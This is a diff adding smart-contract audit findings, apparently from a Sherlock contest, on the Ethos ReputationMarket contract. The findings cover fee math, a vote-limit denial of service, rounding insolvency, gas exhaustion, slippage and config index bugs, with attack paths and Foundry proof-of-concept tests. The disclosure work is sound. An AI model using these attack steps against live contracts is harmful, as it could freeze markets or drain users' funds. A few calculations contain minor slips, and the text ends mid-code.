+1,44 @@ +Tiny Mulberry Buffalo + +Medium + +# Fee inconsistency between buying and selling results in inaccurate fees collected + +### Summary +Currently, fees between selling and buying are taken differently. When buying, fees are based on just the buying amount, while when selling, their based on the entire amount. + +```solidity + function previewEntryFees( + uint256 fundsBeforeFees + ) private view returns (uint256 totalCostIncludingFees, uint256 protocolFee, uint256 donation) { + protocolFee = (fundsBeforeFees * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (fundsBeforeFees * donationBasisPoints) / BASIS_POINTS_BASE; + totalCostIncludingFees = fundsBeforeFees + protocolFee + donation; + } +``` + +```solidity + function previewExitFees( + uint256 proceedsBeforeFees + ) private view returns (uint256 totalProceedsAfterFees, uint256 protocolFee) { + protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + totalProceedsAfterFees = proceedsBeforeFees - protocolFee; + } +``` + +In other words, if a user wants to buy votes worth 1 ETH, and fee is 5%, user would have to pay 1.05 ETH, which makes the actual fee 4.76% +However, when selling tokens worth 1 ETH, and the fee is again 5%, they'd receive 0.95 ETH. In this case, the 5% fee is correct. + + + +### Root Cause +Wrong math calculation + +### Affected Code +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1109 + +### Impact +Wrong fee taken + +### Mitigation +Change the formula when calculating fees when buying. \ No newline at end of file diff --git a/038.md b/038.md new file mode 100644 index 0000000..f148090 --- /dev/null +++ b/038.md @@ -0,0 +1,209 @@ +Glamorous Canvas Camel + +Medium + +# Votes Exceeding Safe Limits Allow Attackers to Cause Denial-of-Service on Markets + +### Summary + +The `ReputationMarket` contract uses the LMSR (Logarithmic Market Scoring Rule) library for calculating odds and costs in the market. The LMSR library has a mathematical limitation: the number of votes per side (trust or distrust) must not exceed approximately `133 * liquidityParameter`. Exceeding this limit causes LMSR calculations to revert due to overflow in the exponential function. The contract currently does not enforce this limit during vote purchases or sales, allowing an attacker to intentionally exceed the safe vote limit. By doing so, the attacker can cause all subsequent interactions with the market to fail, effectively creating a Denial-of-Service (DoS) condition that prevents legitimate users from buying, selling, or interacting with the affected market. + +### Root Cause + +The LMSR library defines a maximum safe number of votes per side to prevent overflows in exponential calculations: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/utils/LMSR.sol#L154C4-L164C6 + + ```solidity + uint256 maxSafeRatio = 133; + if ( + yesVotes > maxSafeRatio * liquidityParameter || noVotes > maxSafeRatio * liquidityParameter + ) { + revert VotesExceedSafeLimit( + yesVotes > noVotes ? yesVotes : noVotes, + liquidityParameter, + maxSafeRatio * liquidityParameter + ); + } + ``` + + - This limit is in place because the `exp()` function in the LMSR calculations can overflow if the input value (`votes / liquidityParameter`) exceeds approximately `133`. + +- **No Checks in `ReputationMarket` for Vote Limits:** + + - The `ReputationMarket` contract does not enforce the maximum safe vote limits when users buy or sell votes. + + - Functions like `buyVotes` and `sellVotes` update the vote counts without checking against the LMSR safe limits: + + ```solidity + // Example from buyVotes function + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += currentVotesToBuy; + ``` + +- **Potential for Denial-of-Service:** + + - If the total votes for either trust or distrust exceed the safe limit, any function that relies on LMSR computations (e.g., `getVotePrice`, `buyVotes`, `sellVotes`) will revert due to overflow errors. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + + +An attacker can intentionally exceed the maximum safe votes for either trust or distrust votes in a market, causing all LMSR calculations to revert due to overflows. This prevents any further interactions with the market, denying service to all users. + +### **Steps of the Attack** + +1. **Identify Target Market:** + + - The attacker selects a specific market to target. + + - Retrieves the market's `liquidityParameter` to calculate the maximum safe vote limit. + +2. **Calculate Maximum Safe Votes:** + + - Calculates `maxSafeVotes = 133 * liquidityParameter`. + + - Determines how many votes they need to purchase to exceed this limit. + +3. **Accumulate Votes to Exceed Safe Limit:** + + - The attacker buys enough votes on one side (trust or distrust) to push the total votes over the safe limit. + + - There's no check in the `buyVotes` function to prevent this. + +4. **Cause Denial-of-Service:** + + - Once the safe limit is exceeded, any LMSR function that involves the affected vote count will revert due to overflow checks in the LMSR library. + + - Functions like `buyVotes`, `sellVotes`, `getVotePrice`, and any other that relies on LMSR calculations will fail. + + +### Impact + +Legitimate users will be unable to interact with the market, effectively causing a DoS condition on that market. + +### PoC + + +From the LMSR code: + +```solidity +uint256 maxSafeRatio = 133; +if ( + yesVotes > maxSafeRatio * liquidityParameter || noVotes > maxSafeRatio * liquidityParameter +) { + revert VotesExceedSafeLimit( + yesVotes > noVotes ? yesVotes : noVotes, + liquidityParameter, + maxSafeRatio * liquidityParameter + ); +} +``` + +Therefore, the **maximum safe number of votes per side** (`trustVotes` or `distrustVotes`) is calculated as: + +```solidity +maxSafeVotesPerSide = maxSafeRatio * liquidityParameter; +``` + +### **Calculations** + +Assuming the following market parameters: + +- **Liquidity Parameter (`b`):** + + ```solidity + uint256 liquidityParameter = 1_000; // Example value for liquidity parameter + ``` + +- **Calculating Maximum Safe Votes Per Side:** + + ```solidity + uint256 maxSafeVotesPerSide = 133 * liquidityParameter; // For b = 1,000, maxSafeVotesPerSide = 133,000 votes + ``` + +This means that if either `trustVotes` or `distrustVotes` exceed `133,000` votes, the LMSR functions will revert due to safety checks to prevent overflow. + +### **Attacker's Actions** + +#### **1. Initial Market State** + +Let's assume the market currently has the following vote counts: + +```solidity +markets[profileId].votes[TRUST] = 100,000; // Current trust votes +markets[profileId].votes[DISTRUST] = 50,000; // Current distrust votes +``` + +- The current `trustVotes` are below the maximum safe limit of `133,000`. + +#### **2. Calculating Votes Needed to Exceed Safe Limit** + +The attacker wants to exceed the safe limit for `trustVotes`. They calculate the number of votes needed: + +```solidity +votesToBuy = (maxSafeVotesPerSide + 1) - currentTrustVotes; +// votesToBuy = (133,000 + 1) - 100,000 = 33,001 votes +``` + +By purchasing `33,001` additional trust votes, the attacker will push `trustVotes` to `133,001`, exceeding the safe limit by `1` vote. + +#### **3. Executing the Attack** + +The attacker proceeds to purchase the calculated number of votes: + +```solidity +// Attacker calls buyVotes to purchase 33,001 trust votes +reputationMarket.buyVotes{value: totalCost}( + profileId, + true, // isPositive = true (buying trust votes) + 33_001, // votesToBuy + minVotesToBuy // Minimum acceptable votes (for slippage protection) +); +``` + +After this transaction, the updated vote counts are: + +```solidity +markets[profileId].votes[TRUST] = 100,000 + 33,001 = 133,001 trust votes +markets[profileId].votes[DISTRUST] = 50,000; // Unchanged distrust votes +``` + +This pushes the `trustVotes` over the maximum safe limit. + +#### **4. Resulting Denial-of-Service** + +With `trustVotes` now at `133,001`, any subsequent LMSR calculations involving `trustVotes` will revert due to overflow checks in the LMSR library. + +### Mitigation + +Before allowing a vote purchase, check whether the new total votes would exceed the maximum safe votes. + + ```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + uint256 liquidityParameter = markets[profileId].liquidityParameter; + uint256 maxSafeVotes = 133 * liquidityParameter; + uint256 currentVotes = markets[profileId].votes[isPositive ? TRUST : DISTRUST]; + uint256 newTotalVotes = currentVotes + maxVotesToBuy; + + // Ensure purchase does not exceed safe vote limit + if (newTotalVotes > maxSafeVotes) { + revert("Purchase exceeds maximum safe votes for this market"); + } + + // ... (rest of the function) + } + ``` diff --git a/039.md b/039.md new file mode 100644 index 0000000..14a58ef --- /dev/null +++ b/039.md @@ -0,0 +1,41 @@ +Shambolic Opaque Swift + +Medium + +# Immediate market graduation blocks users from selling their votes + +### Summary + +The `GRADUATION_WITHDRAWAL` contract can immediately graduate any market, causing an abrupt end to trading. This can lock users out of selling their votes, resulting in unrecoverable positions and unexpected losses. + +### Root Cause + +In [ReputationMarket.sol#L722C1-L733C4](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L722C1-L733C4), the function `graduateMarket` allows an authorized contract (`GRADUATION_WITHDRAWAL`) to immediately finalize (graduate) a market. There is no waiting period or user grace period before finalizing the market. + +### Internal Pre-conditions + +1. The `GRADUATION_WITHDRAWAL` contract is authorized to call `graduateMarket`. +. A market is currently active and has participants holding votes. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. The authorized `GRADUATION_WITHDRAWAL` contract (intentionally or accidentally) calls `graduateMarket(profileId)`. +2. The market is immediately transitioned to a graduated state, disallowing further buying or selling of votes. +3. Users holding votes can no longer liquidate them, leaving them locked in a graduated market without a chance to sell before graduation. + +### Impact + +Market participants lose the ability to sell their votes on short notice, potentially resulting in locked positions or financial losses if the price was expected to change. The sudden graduation undermines user trust and disrupts market equilibrium. + +### PoC + +_No response_ + +### Mitigation + +1. **Add a Grace Period:** Before finalizing a market, require a timelock or grace period during which users are notified and can sell their votes. +2. **Partial or Phased Graduation:** Implement a phased approach allowing users to sell for a set period after a graduation announcement. \ No newline at end of file diff --git a/040.md b/040.md new file mode 100644 index 0000000..c2abd47 --- /dev/null +++ b/040.md @@ -0,0 +1,114 @@ +Tiny Mulberry Buffalo + +Medium + +# Wrong rounding will make a market insolvent + +### Summary +When calculating the votes cost, the rounding is based on whether the votes acted on are TRUST/ DISTRUST, and not based on whether it is a buy/ sell. This could cause the market to go insolvent as users would be able to sell their votes for just a few wei more than what they bought it for. Then, if the market was created by an ReputationMarket admin, which did not send any extra funds, this could cause the user trying to sell the last vote, to be unable to do so, due to insufficient funds. + +```solidity + int256 costRatio = LMSR.getCost( + market.votes[TRUST], + market.votes[DISTRUST], + voteDelta[0], + voteDelta[1], + market.liquidityParameter + ); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1); + // multiply cost ratio by base price to get cost; divide by 1e18 to apply ratio + cost = positiveCostRatio.mulDiv( + market.basePrice, + 1e18, + isPositive ? Math.Rounding.Floor : Math.Rounding.Ceil. // @audit - wrong rounding + ); +``` + + +### Root Cause +Wrong rounding. + +### Attack Path +1. User buys TRUST tokens in large batch. +2. User then sells them into smaller batches +3. Due to individual rounding up in each sell, the user sells them for a few more wei than what they bought it for, making the market go insolvent +4. Due to this, last user to withdraw is not able to (due to insufficient funds) + + + +### Impact +DoS + +### Affected Code +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1057 + +### PoC +As the codebase lacked a foundry test suite, I imported just the needed files. The attached below showcases the issue. +Note that the initial votes values can be pretty much any. These were chosen at random as the bug was found via fuzzing. +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; +import "../src/LMSR.sol"; + +contract MyTest is Test { + uint256 basePrice = 0.16325e18; + struct Market { + uint256[2] votes; + } + + function testIsBuyRoundingIssue() public { + uint256 initYesVotes = 48; + uint256 initNoVotes = 34; + + int256 costRatio = LMSR.getCost( + initYesVotes, + initNoVotes, + initYesVotes + 20, + initNoVotes, + 1000); + + initYesVotes += 20; + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1 ); + uint256 cost = positiveCostRatio * basePrice / 1e18; + if ((positiveCostRatio * basePrice) % 1e18 != 0 ) cost++; + + + uint256 totalSold; + for (uint256 i; i < 20; i++ ){ + int256 costRatio = LMSR.getCost( + initYesVotes, + initNoVotes, + --initYesVotes, + initNoVotes, + 1000); + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1 ); + uint256 cost = positiveCostRatio * basePrice / 1e18; + if ((positiveCostRatio * basePrice) % 1e18 != 0 ) cost++; + + totalSold += cost; + } + + console.log(totalSold); + console.log(cost); + assertGt(totalSold, cost); // totalSold exceeds cost + + } +} +``` + +Logs: +```solidity +Ran 1 test for test/Counter.t.sol:MyTest +[PASS] testIsBuyRoundingIssue() (gas: 561183) +Logs: + 1652088896517131430 + 1652088896517131423 + ``` + + +### Mitigation +Change the rounding, to be based on whether it is a buy or a sell. \ No newline at end of file diff --git a/041.md b/041.md new file mode 100644 index 0000000..65bd901 --- /dev/null +++ b/041.md @@ -0,0 +1,40 @@ +Shambolic Opaque Swift + +Medium + +# Lack of input validation for buyVotes parameters can confuse users and create unexpected behavior + +### Summary + +The absence of a check ensuring `minVotesToBuy <= maxVotesToBuy` in `buyVotes` can lead to confusion or unexpected behavior for users, as the function does not validate these parameters, potentially allowing contradictory inputs. + +### Root Cause + +In [ReputationMarket.sol#L440C1-L450C1](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440C1-L450C1), `buyVotes` accepts `maxVotesToBuy` and `minVotesToBuy` as parameters, but never checks that `minVotesToBuy <= maxVotesToBuy`. This gap can produce conflicting instructions and unexpected user experience. + +### Internal Pre-conditions + +1. The user calls `buyVotes` with parameters `maxVotesToBuy` and `minVotesToBuy` where `minVotesToBuy` is greater than `maxVotesToBuy` or otherwise illogical. +2. No internal checks enforce consistency between these two parameters. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. A user mistakenly calls `buyVotes(profileId, true, 5, 10)`, implying a desire to buy at least 10 votes but no more than 5. +2. The function checks only if the user can afford `minVotesToBuy` and attempts to purchase `maxVotesToBuy` — leading to contradictory states or user confusion. +3. Because no explicit requirement ensures `minVotesToBuy <= maxVotesToBuy`, the input can pass silently, producing undefined or confusing results. + +### Impact + +Users could have a confusing or misleading experience, expecting at least a certain minimum but capping at a smaller maximum. While this might not directly cause financial loss, it risks incorrectly handled orders or user frustration, potentially leading to a breakdown of market trust. + +### PoC + +_No response_ + +### Mitigation + +1. **Add Parameter Validation:** In `buyVotes`, revert if `minVotesToBuy > maxVotesToBuy`. \ No newline at end of file diff --git a/042.md b/042.md new file mode 100644 index 0000000..b905e6a --- /dev/null +++ b/042.md @@ -0,0 +1,42 @@ +Shambolic Opaque Swift + +Medium + +# Lack of deadline checks for vote orders can lead to stale or manipulated transactions + +### Summary + +The absence of a deadline parameter or expiry mechanism for vote-buying/selling in ReputationMarket.sol leaves transactions open-ended. Without a time limit, user orders (minimumVotePrice, minVotesToBuy, maxVotesToBuy) can remain valid indefinitely, allowing front-running or execution under stale conditions that harm users expecting timely executions. + +### Root Cause + +In [ReputationMarket.sol#L440](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440) and [ReputationMarket.sol#L539](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L539), the parameters for buying/selling votes (e.g., `minVotesToBuy`, `maxVotesToBuy`, and `minimumVotePrice`) do not include or enforce a transaction deadline. Thus, a user’s trade can be left pending for an arbitrary duration, risking exploitation or unfavorable price changes. + +### Internal Pre-conditions + +1. The user initiates a buyVotes or sellVotes transaction specifying only `minVotesToBuy`, `maxVotesToBuy`, or `minimumVotePrice`—with no time-based constraint. +2. The contract lacks any mechanism to invalidate or expire the transaction if not mined promptly. + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. A user initiates a buyVotes or sellVotes transaction with certain price or vote constraints but no deadline. +2. The transaction remains pending in the mempool due to low gas fees or congestion. +3. Market conditions change (e.g., price fluctuations in the underlying asset), making the original min/max constraints stale. +4. An MEV bot or malicious actor can time their blocks or reorder transactions to exploit the newly stale parameters, either front-running or sandwiching the user’s trade. +5. The user ends up with a suboptimal or manipulated fill for their vote purchase/sale because they expected prompt execution but had no time-bound protection. + +### Impact + +Users risk receiving worse-than-expected trade outcomes or having trades executed under disadvantageous conditions. Malicious actors can exploit the indefinite window to front-run or back-run transactions, causing unnecessary losses or slippage. This damages user trust in the protocol’s fairness. + +### PoC + +_No response_ + +### Mitigation + +1. **Introduce Deadline Parameters:** Similar to many DEX designs, add a `deadline` parameter to buyVotes and sellVotes. If the current block.timestamp exceeds the user-specified deadline, revert the transaction. \ No newline at end of file diff --git a/043.md b/043.md new file mode 100644 index 0000000..f6f7457 --- /dev/null +++ b/043.md @@ -0,0 +1,105 @@ +Tiny Mulberry Buffalo + +Medium + +# Determining how many votes to buy may run OOG. + +### Summary +The current way buying votes works is that a user sends a certain `msg.value` and a minimum and maximum amount they wish to buy, and the contract loops through the values to find the maximum amount the user can actually buy. + +```solidity + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); + + ( + uint256 purchaseCostBeforeFees, + uint256 protocolFee, + uint256 donation, + uint256 totalCostIncludingFees + ) = _calculateBuy(markets[profileId], isPositive, maxVotesToBuy); + uint256 currentVotesToBuy = maxVotesToBuy; + // if the cost is greater than the maximum votes to buy, + // decrement vote count and recalculate until we identify the max number of votes they can afford + while (totalCostIncludingFees > msg.value) { + currentVotesToBuy--; + (purchaseCostBeforeFees, protocolFee, donation, totalCostIncludingFees) = _calculateBuy( + markets[profileId], + isPositive, + currentVotesToBuy + ); + } +``` + +The problem is that this way is highly gas inefficient. And even though protocol is to be deployed on Base where gas costs are low, it would still be possible to reach significant gas costs. + +Looping to check a certain buy's gas costs, costs around ~33k gas (PoC attached below). Considering users can easily be buying tens of thousands of votes, these checks could possibly reach the Base gas limit, which would not only make the tx impossible to execute, but even if it was possible it would cost a substantial amount of funds. As the gas limit is 240,000,000, it would require ~7000 iterations to run OOG. + +### Root Cause +Gas inefficient system design. + +### Attack Path +1. There is a market with base price of 0.0001 eth. +2. The market is one-sided and a Trust vote costs 1/10th of that - 0.00001 eth. +3. A user wants to buy votes for 1 ETH. That would be 100,000 votes. +4. User applies 10% slippage, this makes the `minVotesToBuy` 90,000. +5. Due to the price movements, the user can only buy 91,000 votes. As this requires 9,000 iterations, the tx will run OOG, as it cannot fit in a single Base block. +6. In the scenario where the gas required is just enough to fit in a block, this would cost the user `240_000_000 * 0.12e9 = 0.0288e18 = 0.0288 ETH`. (assuming historical base gas costs of 0.12 gwei). At current prices this is ~$100. + + +### Impact +Impossible to execute certain transactions due to OOG. High gas costs. + +### Affected Code +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L460 + +### PoC +As the codebase lacked a Foundry test suite, I integrated the necessary contract parts in my own test suite. +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; +import "../src/LMSR.sol"; + +contract MyTest is Test { + uint256 basePrice = 1e18; + struct Market { + uint256[2] votes; + } + + function test_gasCalc() public { + uint256 initYesVotes = 50; + uint256 initNoVotes = 30; + + Market memory testMarket; + testMarket.votes[0] = initYesVotes; + testMarket.votes[1] = initNoVotes; + + uint256 gasLeft = gasleft(); + + uint256[] memory voteDelta = new uint256[](2); + + voteDelta[0] = testMarket.votes[0]; + voteDelta[1] = testMarket.votes[1] + 1; + + int256 costRatio = LMSR.getCost( + initYesVotes, + initNoVotes, + voteDelta[0], + voteDelta[1], + 1000); + + + uint256 positiveCostRatio = costRatio > 0 ? uint256(costRatio) : uint256(costRatio * -1 ); + + uint256 cost = positiveCostRatio * basePrice / 1e18; + + uint256 gasLeft2 = gasleft(); + uint256 gasConsumed = gasLeft - gasLeft2; + console.log(gasConsumed); + } +} +``` + +### Mitigation +Consider using a binary search. \ No newline at end of file diff --git a/044.md b/044.md new file mode 100644 index 0000000..44b4ecc --- /dev/null +++ b/044.md @@ -0,0 +1,71 @@ +Ambitious Cotton Hyena + +Medium + +# Slippage Protection on Sell votes is implemented incorrectly + +## Summary +The Slippage Protection uses `proceedsBeforeFees` instead of `proceedsAfterFees`, which makes user get paid for vote with price less than intended + +## Description +When users sell there votes they provide a minimum price per vote to protect themselves from slippage and price changes. This is made by getting the number of votes that the user will sell, and then divide the total price of them to the number of the votes he sold, to represent an average price of each vote. Then this value is compared against the one provided by the user. + +The problem is that when selling votes, there is an exit fees is taken from the amount we took so `proceedsBeforeFees` is greater than `proceedsAfterFees` in that case, and the user takes `proceedsAfterFees` amount. + +> ReputationMarket::sellVotes() [ReputationMarket.sol#L553-L556](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553-L556) +```solidity + function sellVotes( ... ) public whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( ... ); + +>> uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +// ------------------------------- + function _calculateSell( ... ) ... { + ... + proceedsBeforeFees = _calcCost(market, isPositive, false, votesToSell); +>> (proceedsAfterFees, protocolFee) = previewExitFees(proceedsBeforeFees); + } +// ------------------------------- + function previewExitFees( + uint256 proceedsBeforeFees + ) private view returns (uint256 totalProceedsAfterFees, uint256 protocolFee) { + protocolFee = (proceedsBeforeFees * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; +>> totalProceedsAfterFees = proceedsBeforeFees - protocolFee; + } +``` + +`proceedsBeforeFees` represents the total amount we will subtract from the market, but `proceedsAfterFees` represent the exact amount the user will take. And in the slippage check we are comparing the value against `proceedsBeforeFees` which will make the price of each votes gets calculated with a value greater than the value that will be given to the user. + +## Proof of Concept +- userA bought 10 Votes +- userA wants to sell these 10 votes where each vote should give him at least `100` +- userA fired `sellVotes` and made `minimumVotePrice` equals `100` +- Votes are getting Sold +- Protoolc Exit Fees are `3%` +- Decreasing these `10` votes gives the total amount of `1000`. i.e: proceedsBeforeFees` equals 1000 +- `proceedsAfterFees` will be `proceedsBeforeFees * 3%` = 970 +- Doing a Slippage check uses `proceedsBeforeFees` which is `1000` so `1000 / 10` equals `100` which makes the slippage check passes +- Sending the money for that `10` votes to the user by sending him `proceedsAfterFees` which is `970` +- The actual average price of the vote the user takes is `970 / 10` i.e `97` instead of `100` +- The user takes less than he intended because the slippage check considers protocol fees too. + +## Recommendations +Implement the slippage check using `proceedsAfterFees` instead of `proceedsBeforeFees` +```diff +diff --git a/ethos/packages/contracts/contracts/ReputationMarket.sol b/ethos/packages/contracts/contracts/ReputationMarket.sol +index 8590a90..3ef8f10 100644 +--- a/ethos/packages/contracts/contracts/ReputationMarket.sol ++++ b/ethos/packages/contracts/contracts/ReputationMarket.sol +@@ -550,7 +550,7 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard, IT + votesToSell + ); + +- uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; ++ uint256 pricePerVote = votesToSell > 0 ? proceedsAfterFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` diff --git a/045.md b/045.md new file mode 100644 index 0000000..9b17e3a --- /dev/null +++ b/045.md @@ -0,0 +1,43 @@ +Tiny Mulberry Buffalo + +Medium + +# Sell slippage is applied before fees + +### Summary +When selling, the user specifies a `minimumVotePrice` - this is the minimum average price they're willing to sell their votes at. + +```solidity + (uint256 proceedsBeforeFees, uint256 protocolFee, uint256 proceedsAfterFees) = _calculateSell( + markets[profileId], + profileId, + isPositive, + votesToSell + ); + + uint256 pricePerVote = votesToSell > 0 ? proceedsBeforeFees / votesToSell : 0; + if (pricePerVote < minimumVotePrice) { + revert SellSlippageLimitExceeded(minimumVotePrice, pricePerVote); + } +``` + +As we can see however, the actual `pricePerVote` is calculated using `proceedsBeforeFees`, which does not have the protocol fees deducted. As a result, the user's slippage is applied before the protocol takes their fees and the user can still receive less funds than what they've explicitly specified. + +### Root Cause +Wrong logic + +### Attack Path +1. User wishes to sell 10 votes and sets `minimumVotePrice` to 0.1 ETH. +2. The total vote price before fees is calculated to 1.01 ETH. As 0.101 > 0.1 ETH, the slippage passes. +3. The protocol then takes their 5% fee. +4. The user receives ~0.96 ETH. This is an average price of 0.096 per token. Although the user explicitly specified a minimum vote price of 0.1 ETH. + + +### Impact +User receives less than specified. + +### Affected Code +https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L553 + +### Mitigation +Calculate the average price using `proceedsAfterFees` instead of `proceedsBeforeFees`. \ No newline at end of file diff --git a/046.md b/046.md new file mode 100644 index 0000000..b750a0a --- /dev/null +++ b/046.md @@ -0,0 +1,53 @@ +Ambitious Cotton Hyena + +Medium + +# Users can participate in Markets without buying votes + +## Summary +There is no prevention for the less number of votes to buy, allows user to participate in the market without paying any funds. + +## Description +Users can provide `0` amount of votes/disVotes to buy, this will allow users to participate in the Market of that profile without buying any votes/disVotes. + +[ReputationMarket.sol#L440-L456](https://github.com/sherlock-audit/2024-12-ethos-update/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L440-L456) +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 maxVotesToBuy, + uint256 minVotesToBuy + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + // preliminary check to ensure this is enough money to buy the minimum requested votes. + (, , , uint256 total) = _calculateBuy(markets[profileId], isPositive, minVotesToBuy); + if (total > msg.value) revert InsufficientFunds(); + + ( + uint256 purchaseCostBeforeFees, + uint256 protocolFee, + uint256 donation, + uint256 totalCostIncludingFees + ) = _calculateBuy(markets[profileId], isPositive, maxVotesToBuy); + uint256 currentVotesToBuy = maxVotesToBuy; + ... + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { +>> participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + ... + } +``` + +There is no check if `mind/maxVotesToBuy` are zero or not. In case they are provided as `zero` all funds to be paid by the user will be zero, which will allow users to participate in a given Profile market without sending any eth or even buying any vote/disVote. + +## Impacts +- Participate in different profile markets without sending any money +- Make a sybil attack by participating in the same profile market with different addresses, making `participants` array for that profile market too huge. This can affect protocol integrats with ReputationMarket as viewing the full array can cause OOG this time. and Ethos is a complete system working together and there are some parts like `GRADUATION_WITHDRAWAL` +- In the last of the buying we fire `_emitMarketUpdate`, which updates `lastMarketUpdates` by the block.number, and the current market state. Having `block.number` equals the current block, will make the update time updates continuously even when no votes/disVotes changing occuar. + +This will affect the protocol data where participants can contain users that do not even buy any vote from that market anytime. + +## Recommendations +Make `buyVotes()` forces at least on vote/disVote to buy. \ No newline at end of file diff --git a/047.md b/047.md new file mode 100644 index 0000000..4c36e60 --- /dev/null +++ b/047.md @@ -0,0 +1,145 @@ +Glamorous Canvas Camel + +Medium + +# Mutable Indices in `marketConfigs` May Lead to Incorrect Market Config Selection + +### Summary + +The `removeMarketConfig` function in the `ReputationMarket` contract changes the indices of configurations within the `marketConfigs` array when a configuration is removed. This is due to the swapping mechanism used before popping the last element. Since functions like `createMarketWithConfig` rely on indices to specify configurations, changing indices can cause users to inadvertently select incorrect configurations, leading to unexpected market parameters. + +### Root Cause + +The `removeMarketConfig` function removes a configuration by swapping it with the last element in the `marketConfigs` array and then calling `pop()`: + +https://github.com/sherlock-audit/2024-12-ethos-update/blob/c3a2b007d0ddfcb476f300f8b766808f0e3e2dfd/ethos/packages/contracts/contracts/ReputationMarket.sol#L388C1-L405C4 + +```solidity +function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) revert InvalidMarketConfigOption("Must keep one config"); + + // Check if the index is valid + if (configIndex >= marketConfigs.length) revert InvalidMarketConfigOption("index not found"); + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + // Remove the last element + marketConfigs.pop(); +} +``` + +This method changes the indices of other configurations in the array. Any subsequent calls to functions that use these indices may inadvertently reference different configurations than intended. + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + + +1. An admin removes a configuration from the `marketConfigs` array using `removeMarketConfig`, causing indices to shift. +2. A user, unaware of the index changes, calls `createMarketWithConfig` with an index that now points to a different configuration. + + ```solidity + // User intends to use the configuration at index 1 + reputationMarket.createMarketWithConfig(1); + ``` + +3. The user’s market is created with unintended parameters (e.g., different liquidity or base price), which could affect the market's behavior and the user's funds. + +### Impact + +Markets could be created with higher creation costs or unfavorable liquidity parameters, leading to potential financial loss. + +### PoC + + +1. **Initial State**: Three configurations exist with indices `[0, 1, 2]`. + + ```solidity + // Config at index 0 + MarketConfig({ liquidity: 1000, basePrice: DEFAULT_PRICE, creationCost: 0.2 ether }); + + // Config at index 1 + MarketConfig({ liquidity: 10000, basePrice: DEFAULT_PRICE, creationCost: 0.5 ether }); + + // Config at index 2 + MarketConfig({ liquidity: 100000, basePrice: DEFAULT_PRICE, creationCost: 1.0 ether }); + ``` + +2. **Admin Removes Config at Index 1**: + + ```solidity + reputationMarket.removeMarketConfig(1); + ``` + + - The configuration at index 1 is swapped with the last configuration (index 2) and then removed. + - New indices after removal: + + - Index 0: Unchanged + - Index 1: Originally at index 2 + - Length of `marketConfigs` is now 2. + +3. **User Attempts to Create Market with Original Config at Index 1**: + + ```solidity + // User intends to use the 'Deluxe' configuration + reputationMarket.createMarketWithConfig(1); + ``` + + - The user expects to use the configuration with `liquidity: 10000`, but instead gets `liquidity: 100000` due to the index shift. + - This leads to a higher creation cost and different market dynamics than intended. + +--- + +### Mitigation + + +- **Use Unique Identifiers**: Assign a unique identifier (e.g., an auto-incrementing ID) to each `MarketConfig` and store configurations in a mapping. This ensures that each configuration can be referenced consistently, regardless of array index changes. + + ```solidity + mapping(uint256 => 